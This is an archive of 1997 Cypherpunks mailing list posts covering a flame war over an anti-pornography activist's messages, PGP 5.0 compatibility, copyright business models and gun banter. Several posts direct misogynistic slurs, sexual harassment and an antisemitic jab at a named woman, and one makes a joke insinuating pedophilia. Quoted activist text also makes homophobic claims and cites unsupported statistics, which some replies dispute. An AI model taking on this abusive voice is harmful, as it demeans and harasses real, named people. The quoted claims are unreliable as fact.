--Boundary..3986.1071713748.multipart/signed
Content-Type: application/octet-stream; name="pgp00003.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00003.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GN09POEpGMGtYcXB3
M01FUUtSZUFDZ2tCV2dob3F5WHRVdTFOTWlwblc1ak8zMGpUa0FuM1FRCmU0
ODQ0Q0tXNXRWQjErbVJ1Uk5OaGp1SQo9N2VVSQotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713748.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 4 Nov 1997 09:22:01 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345E7485.1A49@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jodi Hoffman wrote:
> Monger: 
> Feel better?  I certainly hope so.

  So you approve of my therapeutic self-abuse during email exchanges?
Looks like internet communication *does* help people to put aside
their differences and reach a common ground.

> By the way...for whatever it's worth:

  On the CypherPunks list, the going rate is $.02

> #1...I'm Jewish, not a Nazi-loving Christian bitch.

  It's OK, I won't tell anyone you killed Jesus.

> #2...You have no idea who or what I am.

  Only from your pictures on the 'Amateur Action' web site.

> #3...You hate that I'm right.  I love that.

  I am happy that you are able to find joy and increased self-esteem 
in imputing specific motives and emotives to the mad ramblings of an
obviously raving fucking lunatic, such as myself.
  Like yourself, I have very little idea of just what it was you were 
really trying to express in _your_ rambling semi-coherent missive,
and, the truth be known, I was just trying to make small talk while
trying to work up the courage to ask you if you were wearing any
panties, but I chickened out when I remembered what a savage beating
Cynthia Brown (a girl cypherpunk) gave me when I asked her.

> Jodi Hoffman   T.R.A.M.P.  http://www.go_sin.com/tramp
> Violation of Children/Research & Education Council of America

  Thanks for replying to my email. It's the first one I ever got.
Everyone else just ignores me. Go figure...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <steve@lvdi.net>
Date: Tue, 4 Nov 1997 12:14:46 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <v03102803b08425599fe3@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:25 PM -0500 11/3/1997, Declan McCullagh wrote:
>As I wander back through all the posts on this list, it finally dawns on
>me what this is all about, this 'fight censorship' rhetoric.  It's
>nothing more and nothing less than a lot of egotistical, self-serving
>brats who absolutely refuse to grow up, including you, Declan.  Don't
>you realize that YOU are a major reason for the downward spiral of
>society?  Instead of trying to protect children, you want to empower
>them.  Even a moron knows that when you do so, that power has to be
>taken from someone.  Unfortunately, that someone is the parent.  I have
>to ask myself just how many on this list have children.  Not many, I
>would say.

Daughter and two grandchildren.

>Someone on this list, I forget who, has made numerous attempts at
>convincing us that pornography 'does no harm' to children.  It is
>exactly at this point that I must draw a line.  Studies have shown that
>an event which lasts even so much as three-tenths of a second, within
>five to ten minutes has produced a structural change in the brain.
>Exposure to porn causes actual brain damage, especially in a child.

Which studies?  By whom?  Have they been independently verified and are
they accepted within the appropriate medical practice?

In any case, the First Amendment stumbling block you mention is all that
stands between enlightenment and darkness.  Personally, I think the SC is
way out of line determining who's moral values are selected in order to
define any aspect of pornography.  The 'Crowded Theater Test' should be
used for all First Amendment decisions: does excercise of this speech
(e.g., yelling, "Fire") directly endanger a particular individual or
explicitly identified individuals, not some faceless group like our youth.
Sexually explicit material should no more be restricted than other
non-sexual expressions (e.g., media violence or information on the
manufacture and use of explosives.)  Since both are protected and widely
available, so should porn of all types, no limits.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jodi Hoffman <jlhoffm@ibm.net>
Date: Tue, 4 Nov 1997 10:15:04 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <199711040117.CAA07010@basement.replay.com>
Message-ID: <345E7DE5.4AF6@ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
Jodi Hoffman propagandized:
> >RULE FOR REVOLUTION #6:       BANKRUPT THE GOVERNMENT
 
> See if you can guess who said this and when:
> 
> "A democracy cannot exist as a permanent form of government. It can only
> exist until a majority of voters discover that they can vote themselves
> largess out of the public treasury."
> 
> Was it:
> 
> a) Alexander Tytler, 18th century;
> b) Thomas Jefferson, early 1800s;
> c) Karl Marx, late 1800s;
> d) V. I. Lenin, 1915
> 
> Here's a hint: Pick the Scottish historian who lived in the 1700s. So the
> concept of a "bankrupt democracy" has been around for a while.

Can I get another hint?

-Jodi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Tue, 4 Nov 1997 09:36:16 +0800
To: declan@well.com
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <Pine.GSO.3.95.971103164317.18441C-100000@king>
MIME-Version: 1.0
Content-Type: text/plain




> Someone on this list, I forget who, has made numerous attempts at
> convincing us that pornography 'does no harm' to children.  It is
> exactly at this point that I must draw a line.  Studies have shown that
> an event which lasts even so much as three-tenths of a second, within
> five to ten minutes has produced a structural change in the brain.

More so than any other event lasting three-tenths of a second?  I doubt
it. Visual centers of the brain are certinly not predisposed to treat
natural acts (even if depicted in somewhat unusal circumstances) as any
different than any other visual stimuli.  You're distorting the issue
geratly here.

> Exposure to porn causes actual brain damage, especially in a child.

In what sense?  In the sense that the child's view of the world doesn't
fully agree with yours?  Or in the sense that there is actual physical
damage to the brain that imparis the brains ability to function?  I might
believe that the former occurs, but not the latter.  



>So, keep protecting your porn-induced orgasms.  That's exactly what
>happened with the Hitler youth, etc...  After all, I'm sure it does help
>to blur the lines of reality.

Name calling really doesn't help contribute to a clear view of reality
either.


>RULE FOR REVOLUTION #1:     CORRUPT THE NATION'S YOUTH
>THE REALITY:
>Many of today's youth are grossly overprivileged, committed to fashion,
>physically flabby and lazy, and mentally undisciplined. If they don't
[...]
>without effort and even without asking.  And where do they learn such
>slovenliness? Just spend two hours in front of a television watching a
>random selection of situation comedies to find out. Unfortunately, kids
>who fit the above description usually model themselves after their
>parents.  Such parasitic habits would not be tolerated in the former
>Soviet Union.

Who are you blaming for this?  the media or the parents that are
neglecting their duties as parents?  If you want a child to have certain
values and bleief structures, you must teach them those structures when
they are young.  You can't ignore them and expect the TV to do the job for
oyu.  If you're complaining about problems in the youth, the blame is
squarely on the shoulders of parents who don't take care of their children
or talk to them.

>The prevailing attitude among today's pampered American youth is one of
>nihilism ( I am nothing, life has no meaning, I don't care) -- and for
>good reason.  Over 75 percent of America's high school boys now think
>it's acceptable to rape a girl at any age.  Wonder why anymore?

When these same children are increasingly treated in such a way as to have
no control over their own lives, and when their parents seem to be
driving the country into the ground, what kind of attitude do you expect?
This attitude is a mirror of the prevailing attitude in the country, and
those people that have become large-scale media figures.  The fact that
*Mike Tyson* can draw over $50 million dollars for a stupid boxing match
does nothing to improve the attitudes of today's youth.  


>RULE FOR REVOLUTION #2:     CONTROL THE MASS MEDIA
>Homosexuality, abortion, violence, and contempt for all parental and
>governmental authority is the prevailing order of the day.   A

IF this matieral offends you, eliminate it from your viewing habits, and
instruct your children as to why these types of material are offensive.

But you must remember, our Constitution was built upon the tenets of not
enforcing one person's religious beliefs upon another.  The Mayflower came
over to avoid religious persecution, the Quakers came over for similar
reasons.  Ignoring the fact that they immediately went on a were no
better, the country holds a tenet of reiligous tolerance.  This extends to
those areas where we may find things strange and offensive.  Buddhists,
(my spelling may be wrong, let me apologize now for that), etc, may have
religious observances that just make no sense to you, some may even
include ritual homosexuality.  You can't seek ot impose your belief
structure, (which is by far the minority int eh world) on the rest of the
world! 

>particularly powerful form of media is represented by the so-called
>"arts community."   Some latter-day "artists" actually make a
>pretty good living by mocking traditional values and Christianity.
>Consider Andres Sorrano's "Piss Christ" (a photograph of a crucifix
>submerged in urine) or Robert Mapplethorp's photos, which include one
>showing a bullwhip protruding out of his rear end.

And you think the Ancient Greeks and Romans felt any different about the
roots of the Christian religion?  Look for the symbology behind the art.
Perhaps the artist is trying to demonstrate his frustration with the
religions today in their unquestioning belief in mythical figures and
their lack of acceptance of a chanign culture?  Maybe not, may he just
wanted to make fun of the4 savior so he'd be guarnateed a chance to meet
Satan.  

>This media bias is not a fantasy of a few right-wing whiners; this is
>cold, hard reality.

And the other cold-hard reality is that the media doesn't give a damn what
th epeople think - even Labor Unions are left out of this so-called
"left-wing bias".  If you haven't realized it already, there are only 2 or
3 large voices left in the national media that aren't dominated by large
businesses.  (NY Times, Washington Post and Wall Stree Journal are my
picks, Declan, feel free to clarify or expand if you want)  Most of the
rest of the TV stations, Radio stations and newspapers are owned by
sseveral large comapnies, or the networks.  

>RULE FOR REVOLUTION #3:     ENCOURAGE PUBLIC INDIFFERENCE
>THE REALITY:
>Americans now vote at a lower rate than at any other time in our
>history. Every American knows how disenfranchised and powerless the
>average voter feels.  The media constantly trumpet instances of
>hypocrisy and corruption in our government, despite the fact that we
>have the most open and honest political system in the world. 

The reason the media questions the government and poitns out every
instance of corruption they can find is so that we maintain our position
of leadership in open and honest government.  If they don't question
things that seem wrong, things will only get worse.

We *are* worse off now than 50 years ago.  I live near Detroit, and go to
school and work in Detroit.  Detroit is a city suffering from a rampant
and immovible city bureacracy that wont' change.  This is something the
local media is gradually attempting to expose and force to improve,
because the area wants to see the city continue its improvemtns!

>RULE FOR REVOLUTION #4:     ENCOURAGE PUBLIC BICKERING
>THE REALITY:
>Never before have so many trivial issues captured so much air time.
>Major construction and other projects are halted due to sometimes
>trivial environmental concerns.  Critical research which uses animals is
>halted or impeded by animal-rights groups.  Sodomy rights, old- growth
>timber, anti-fur, and dozens of other Neoliberal causes (and the
>conservative backlash) cause more friction among our nation's people
>than in any other nation in the world.

Environmental concerns are almost never trivial.  We can afford a few
trivial environmental concerns if they help us stop wiping out the planet.
We are running dangerously low in old-growth forest, El-Nino is a yearly
occurence now when it used to occur once ever 7.  We have serious global
warming concerns at this point, and we have serious ground-water depletion
and contamination problems.  

Animal rights activists would never have developed any public sympathy if
it weren't for ridiculous abuses by cosmetic companies and drug companies.
(Yes, they really did kill thousands of animals for studies of dubious
value)


>Meanwhile, the real issues of importance are either entirely neglected
>or paid weak lip service:   Crime, poverty, hunger and, beneath all of
>them, the moral disintegration of our country.   All of these have lead

ahahahahaha, these have gotten *much* more press and concern that any of
the above issues.  Any mention of these creates problems in *any*
political campaign.


>RULE FOR REVOLUTION #5:      SEIZE POWER, THEN CENSOR
>THE REALITY:
>If the slightest complaint against pornography in our schools is raised
>by concerned parents, People for the American Way (PAW), the ACLU, and
>other left-wing groups instantly shout "censorship!"   But they say not
>a word when it is pointed out that the Bible and all mention of morality
>in textbooks have been ruthlessly hounded from the schools.

There is little to no porography being distribute in our schools.  And the
Supreme Court has rulesd that teaching *any* religion in public schools is
tantamount to the government favoring that religion over others.  If you
can't see that this is a clear violoation of the Constitution, you're not
reading it very well.

>Communist atrocities which have killed more than 150 million all over
>the world are glossed over or ignored, but the most trivial
>international action by the United States brings immediate and forceful
>condemnation.

Oh, that's because we feel a moral responsibility to do the right thing
when meddling in foreign affairs.  Frequently we've screwed up and are
attempting to correct for past mistakes.  (Persian Gulf War, for example).
There are limits to our influence in the world.  WE can't force China to
change policies, they could simply ignore us.  


>RULE FOR REVOLUTION #6:       BANKRUPT THE GOVERNMENT
>THE REALITY:  The United States is flat broke. It is the number one
>debtor nation on earth, with a deficit of more than $5,000,000,000,000
>(five trillion dollars).  Social programs pay for everything from 
>abortion and homosexual-run "sensitivity training sessions" to
>comprehensive sex education. 


funny.  Many economists have been saying that the debt really doesn't
matter.  The entire western world is debt-ridden in the governments, it
hasn't really affected us a heck of a lot.  Sounds like you're objecting
to public money being spent on those things which offend you, while
ignoring the public money spent on things which don't offend you.

>They want us to fund family benefits for sodomites, a comprehensive
>health care plan that will inevitably turn into a Britain-like
>socialized horror, and "art" that is blatantly obscene.

So you don't object to family funded benefits for lesbians?  (Note: I
don't believe they qualify as sodomites even under the wierdest
definitions)  Oh, you also object to all the people who perform oral sex
getting family benefits? doh!

Giving family benefits to all people who are living together, sharing
expenses and loving each other is a truly humane act.  Denying them
because you find their style of life or religion offensive is by far the
more evil act.  those who don't marry under state law because that law
doesn't fit their religious belifs get punished under current laws.
(Unless they work for IBM, Microsoft, The University of Michigan, etc)

>RULE FOR REVOLUTION #7:       DESTROY NATIONAL VALUES
>THE RULE:
>Cause a breakdown of indigenous national values.  Destroy all tradition
>in preparation for the bright dawn of glorious Socialism.  Ridicule
>religion, patriotism, and honesty. The people must be led to have only
>one interest:   Themselves!

Funny.  Whatever happened to Native American beliefs?


>Why should there be any effort to take responsibility for one's own
>faults when "society" is so conveniently ready to take the blame for all
>one's sins? Society has made the sacrifice.   So criminals, addicts,
>alcoholics, child molesters, wife beaters, and others can always blame
>their problems on society.

They don't have a very successful job at it.  Most blame abusive parents,
and get put in jail anyway.


>We have truly become the "me generation."

Whose fault is that?   I notice that now you seem to be for entitlement
programs, or at least helping others.  Make up your mind.



>RULES FOR REVOLUTION #9 AND #10:    UNDERMINE THE ARMED FORCES
>THE REALITY:
>Our country's armed forces consume a vast percentage of our gross
>national product.
>We possess the best and most advanced weapons systems in the world. But
>our armed forces are a joke for two reasons:
>(1) they are completely restrained in their actions by a hostile
>Congress, and

You want the US Military to wander the world picking fights?  Like the
Persian Gulf?  Which was a Bush-administration fuck up in the first place?
A cautious Congress is a much better deal than one that just blindly
authorizes every military action.

Remember the words of our founders (Damit, I forget which one):  Avoid
foreign entaglements.  (Or something to that effect.  I'm braindead and
away from my reference materials right now)

>(2) the armed forces have been saddled with such a bad reputation that
>it is virtually impossible to fill the ranks with volunteers, even in
>the new and streamlined armed services.

New and streamlined?  bloated with intel and officers, low on combat
troops.  And this reputation is as much the military's fault as anything.
I was talking to some active Marines 3 weeks ago.  They all bitched about
it and wished that they hadn't gone in.  One sargeant, One Corporal, and
one Army Sargeant.   

Most of the US has an enormous respect for the military.  We just don't
think we should use this power very often.  We use it too much as it is.

>Servicemen are ridiculed and denigrated at every turn. People say that,
>if you can't make it on the outside, you wind up in the armed forces.

Where do you get this shit?

>Every serviceman is considered to be a useless gobbler of tax money.

umm. no.  We learned that lesson sometime between world war I and World
War II.  I think it was sometime around December 7, personally.


Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 4 Nov 1997 14:52:48 +0800
To: "John Kelsey" <kelsey@plnet.net>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <199711021807.MAA30019@email.plnet.net>
Message-ID: <v03110705b084525031c5@[207.94.249.121]>
MIME-Version: 1.0
Content-Type: text/plain



A couple of real-world examples to go with your (good) ideas:

* Richard Stallman gives away the software, but sells the support.  This
technique has the perverse incentive for the author to make the software
require support.

* The Grateful Dead permitted taping at their concerts and did not object
to the non-commercial exchange of the tapes.  It is hard to tell whether
they made most of their money from performances or from sales of
recordings.  In general musicians can make money from live performance.
(Song writers have a different problem, more like that of poets.)

BTW - Marc Steigler tells me he has had a story accepted at Analog (but not
yet published) called something like, "The future of (eat more cheetos)
Copyright."

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gabriel Millerd <millerd@vhoorl.rli-net.net>
Date: Tue, 4 Nov 1997 11:11:53 +0800
To: cypherpunks@toad.com
Subject: jargon generator
In-Reply-To: <3.0.3.32.19971103181416.03321944@dnai.com>
Message-ID: <Pine.LNX.3.95.971103205124.31828A-100000@vhoorl.rli-net.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Does anyone have a jargon generator?

- ---
Gabriel Millerd        |   I appreciate the fact that this draft was done in
RLI Internet Services  |     haste, but some of the sentences that you are
System Admin Attribu   |    sending out in the world to do your work for you
http://www.rli-net.net |     are loitering in taverns or asleep beside the
                       |   highway.  -- Dr. Dwight Van de Vate, Professor of
                       |    Philosophy, University of Tennessee at Knoxville

PGP Finger Print
DSS: 1024 0xE760079B = B6D4 DB5B 4990 C79F 00E7  BF4A 1E15 B47A E760 079B
D/H: 4096 0xD53C231B = BC6F C82E FD5C BE0A AF33  607C 8406 4A79 D53C 231B

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNF6OGB4VtHrnYAebEQIGnQCfUTKDWQI/MZ+ve2uhAoaWoyw4aF0An3U3
E/8+BUMjSgHsy0g1d8M+vTOv
=cn2s
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 4 Nov 1997 11:41:23 +0800
To: Paul Spirito <berezina@qed.net>
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <345E7DE5.4AF6@ibm.net>
Message-ID: <345E93C8.3B51@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Paul Spirito wrote:
> Lizard wrote:
> >But what we actually have is countless pluralities voting to rob each
> >other. The game would work, except for entropy, in the form of
> >transaction costs. With each theft from one group to the other and
> >back again, some money is lost -- so the tension between groups
> >increases as each demands a larger share of a smaller pie.
 
> No -- you've got it *almost* right -- the negotiating pluralities, entropy
> (as metaphor!), & all... but the pie is growing (at between 2% & 3% per
> annum). So nearly everyone's content -- enough not to shoot each other,
> anyway.

Close, but no cigar...
Actually, life is a pyramid scheme, people exist to provide fodder for
MLM marketing ventures, and I have 'dibs' on the last living tree.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jesus Christ <jc@dev.null>
Date: Tue, 4 Nov 1997 12:21:57 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345E9DDB.1D94@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jodi "I'm not *really* a Jew, but I play one on the InterNet" Hoffman 
wrote: 
> TruthMonger wrote:
> <snipped, because Jodi CAN'T HANDLE the TruthMonger>
 
> Monger:
> Feel better?  I certainly hope so.
> By the way...for whatever it's worth:
> #1...I'm Jewish, not a Nazi-loving Christian bitch.
>
> Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp

Jodi,
  As you already know, I have been on extended leave from the world
for some time, having gone to visit my Father, to prepare for taking
over the family business.
  I've been catching up on my reading, in preparation for my return
in the near future, and I came across a book, "The Jesus Principle,"
which claimed that the Christian Coalition and the self-proclaimed
Moral Majority were making plans to launch a secret assault on the
electorate, pushing their hidden agendas while covering up the true
source of their Christian propaganda.
  Naturally, I laughed this off as ridiculous, but I seem to be
encountering more and more evidence of this indeed being the case.

  I am particularly perturbed by those who are doing a very, very
bad job of disguising their true intentions, goals, their hidden 
connections and secret agendas.
  In an increasingly InterNet savy world, no one who is paying
attention is going to miss the fact that your webspace is on
The Christian Interactive Network, which goes to great lengths
to make certain that those who visit their web site are made
aware that the CIN "is a 501 C (3) Nonprofit Ministry", and that
"All donations are tax exempt," so that contribitors can shift
the tax burden to non-Christians while using their own tax-exempt
money to support Christian political agendas under the guise of
religion.

  If you will check the Biblical Archives, I think you will find
that Peter never really fooled anyone, either.
  {Speaking of which, do you also plan to censor the parts of the
   Bible which quote my use of the word, "cock?"}

Love,
 ~JC~
"Yes I _do_ *'love'* the little children." <nod-nod, wink-wink>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Tue, 4 Nov 1997 14:18:51 +0800
To: "Ross Wright" <jlhoffm@ibm.net>
Subject: Re: Jodi Hoffman:  Homophobe!!!!!!!!
In-Reply-To: <199711040256.SAA25016@adnetsol.adnetsol.com>
Message-ID: <3.0.3.32.19971103220718.00c60100@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



I found the part about aids more obscene.  Most new cases are among
promiscuous heterosexuals.  Of course if you are truly abstinent or
monogamous you don't have to worry, as all blood (in the US at least) is
now heavily tested and has been ever since HIV was found.  Looks like Mrs.
Hoffman should take a sex ed class so that she will be able to tell her
children the truth instead of made up fantasies.  Unreasonable fear is very
harmful to anyone's mental health, especially children.
At 06:59 PM 11/3/97 -0700, Ross Wright wrote:
>From:
>
>http://199.227.69.135/ramp/aletter.html
>
>You might wish to add that most "homosexual" suicides are probably
>normal kids who have been seduced into an abnormal lifestyle
>encouraged by our schools and culture; or at the very least, they
>were probably suffering under the weight of excessive sexual
>harassment, in the form of our current crop of pathological
>sex-education programs. 
>
>
>=-=-=-=-=-=-
>Ross Wright
>King Media: Bulk Sales of Software Media and Duplication Services
>http://ross.adnetsol.com
>Voice: (408) 259-2795
>
>


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 4 Nov 1997 14:55:17 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: Clinton's Bigger Gun Ban
In-Reply-To: <199711021554.KAA07184@mx02.together.net>
Message-ID: <v03110706b0845d62cbf5@[207.94.249.121]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:14 AM -0800 11/2/97, Tim May wrote:
>One of the more interesting images I ever saw was a photo in one of the gun
>mags of a friendly meeting in the U.S. between Eugene Stoner, principal
>designer of the AR-15 (the M-16 in its military version) and Mikhail
>Kalashnikov, whose name needs no further explanation.
>
>I suppose tree-hugging peaceniks would be aghast at a meeting between these
>two merchants of death. I, being an antigovernment type, was nevertheless
>impressed.

As a tree-hugging, peacenick, gun lover, I would have loved to hear the
conversation.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Tue, 4 Nov 1997 13:11:29 +0800
To: cypherpunks@toad.com
Subject: Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199711040533.XAA03610@smoke.suba.com>
Message-ID: <345EAB8F.927@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



My uncle wrote, anonymously:
>   I don't own any guns, so I guess when the Feds kick my door in,
> I'll just point at the dog, and hope they go for my clever ruse.
>   Hell, I'm even willing to testify...

"I blamed it on the dog, and all I got was this T-shirt and a spanking!"

Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Tue, 4 Nov 1997 15:12:51 +0800
To: "Ross Wright" <jlhoffm@ibm.net>
Subject: Re: Jodi Hoffman:  Homophobe!!!!!!!!
In-Reply-To: <199711040256.SAA25016@adnetsol.adnetsol.com>
Message-ID: <3.0.3.32.19971103230305.00c574c0@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



Oops, I meant unreasoning below.  Very different meaning.

At 10:07 PM 11/3/97 -0800, Colin A. Reed wrote:
>I found the part about aids more obscene.  Most new cases are among
>promiscuous heterosexuals.  Of course if you are truly abstinent or
>monogamous you don't have to worry, as all blood (in the US at least) is
>now heavily tested and has been ever since HIV was found.  Looks like Mrs.
>Hoffman should take a sex ed class so that she will be able to tell her
>children the truth instead of made up fantasies.  Unreasonable fear is very
>harmful to anyone's mental health, especially children.
>At 06:59 PM 11/3/97 -0700, Ross Wright wrote:
>>From:
>>
>>http://199.227.69.135/ramp/aletter.html
>>
>>You might wish to add that most "homosexual" suicides are probably
>>normal kids who have been seduced into an abnormal lifestyle
>>encouraged by our schools and culture; or at the very least, they
>>were probably suffering under the weight of excessive sexual
>>harassment, in the form of our current crop of pathological
>>sex-education programs. 
>>
>>
>>=-=-=-=-=-=-
>>Ross Wright
>>King Media: Bulk Sales of Software Media and Duplication Services
>>http://ross.adnetsol.com
>>Voice: (408) 259-2795
>>
>>
>
>
>                             -Colin
>
>


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 4 Nov 1997 08:42:16 +0800
To: cypherpunks@Algebra.COM
Subject: PGP compatibility
Message-ID: <iNX3RsnMvFVAxjTpyHr4HQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

>Of course your copy of PGP 5.0 is compatible with prior versions. I know
>this, you know this, and the anonymous author claiming otherwise knows
>this. He simply hopes that there are some people that don't know this. The
>idea behind the original post and others like it over the last few days is
>to spread FUD about PGP 5.0 after other attacks failed for lack of merrit.
>If you repeat a lie often enough, eventually some people will believe you.
>PSYOPS 101. Let's not fall for it.

>[Yes, I know that DSA keys can not be read by PGP 2.6. Neither will Word
>1.0 read Word 7.0 files. So what?]

Let me guess, Lucky, you're using Windows, right? If I was a Windows user
exclusively I probably wouldn't give a damn either. Robert's version is
compatable because he's gone to strides to *make* it compatable. Most users
haven't done this.

PGP Inc. has taken a *multi-platform* *network-wide* system and broken it.
They released a Windows version months ago completely severing lines of
communication between 5.0 and 2.x users. 

Finally, after months, they get around to releasing a UNIX version so that
everybody else can use PGP 5.x. Of course the damned thing *still* isn't
stable, *still* has a timebomb in it, and *still* has the command line
broken. PGP Inc. recommends that people report bugs, get new versions, etc.
at http://beta.pgp.com, but as was covered in detail in another posting that
site is a pretty much disabled (or incomplete if you want to think of it
that way).

Microsoft Word is something completely different. We aren't distributing
Word 7.0 documents all over the Internet as a standard communications
practice.

When I encrypt a message to you using PGP 2.6, I'm using a version of a
program which is released for certain platforms. When I encrypt a message to
you using PGP 5.0 I'm using a version which is released for certain
platforms, but not all the platforms 2.x was available on. 5.x produces
messages which are incompatable with 2.x. As a result 2.x users, which
includes the UNIX community (which, last I checked, was rather large), 
are excluded from the message traffic the Windows users are sending
around. Of course I'm talking about signatures and sometimes encryption, 
but, again, last I checked that was a major reason to use PGP in the first 
place.

Then again, given the quality of the average Window user's message traffic
on the network today maybe that isn't such a great loss.

It should be worthy of note that I'd be using one of the betas for 5.x right
now if the PGP folks hadn't purposefully broken every script known to man. I
can comment out the timebomb for the expired (i.e. broken in yet another
way) versions they're releasing, or at least were as of last week.

Let's redefine SMTP, NNTP, FTP, and HTTP so that they looks nothing like what 
currently exists, install it on major providers, and write a set of UNIX 
clients. When Windows and Mac users complain about this we can all stand up 
proudly and proclaim that they'll just have to wait a few months for somebody 
to write the software which will allow them to again take part, and that their
complaining about this completely idiotic tactic is "FUD". And, of course,
since the SMTP2, NNTP2, HTTP2, and FTP2 protocols are so much better than
their previous versions (that wouldn't be too hard) this is all very smart and
nobody should mind.

If PGP Inc. had released a sane UNIX version along with their Mac and
Winblows versions there would be considerably less bitching happening right
now. Hell, they could have released patches for 2.6. Instead they've waited 
months and still don't have one out which works.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Tue, 4 Nov 1997 07:55:35 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <346258f1.10008797@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



Jodi Hoffman <jlhoffm@ibm.net> wrote:

>By the way...for whatever it's worth:
>#1...I'm Jewish, not a Nazi-loving Christian bitch.

This makes you a Nazi-loving Jewish bitch. I concur in Monger's assessment
of you as a Dumb Cunt. To expand on this, nearly every position you take is
fascist -- to pick one at random, you accuse the American people of physical
flabbiness. Now, who -- in the nineteen-thirties -- abhorred such flabbiness
in the German people & made a show of public exercise rituals:

1. Jewish Intellectuals.
2. Nazis.

Not a coincidence, either. Sedentary activities include reading, discussion,
writing, &c. -- all abhorred by fascists. Yet you claim to oppose fascism.
Dumb cunt. & this is the most trivial example.

>#2...You have no idea who or what I am.  

To a degree, true. But apply the principle to others: you know as little, or
less, about me than I know about you. Stop trying to dictate my life.

>#3...You hate that I'm right.  I love that.

You're right? Sorry, I must have missed that. Was your post cyphertext?

>"Don't be too proud of this technological terror you've constructed." 
>- Darth Vader

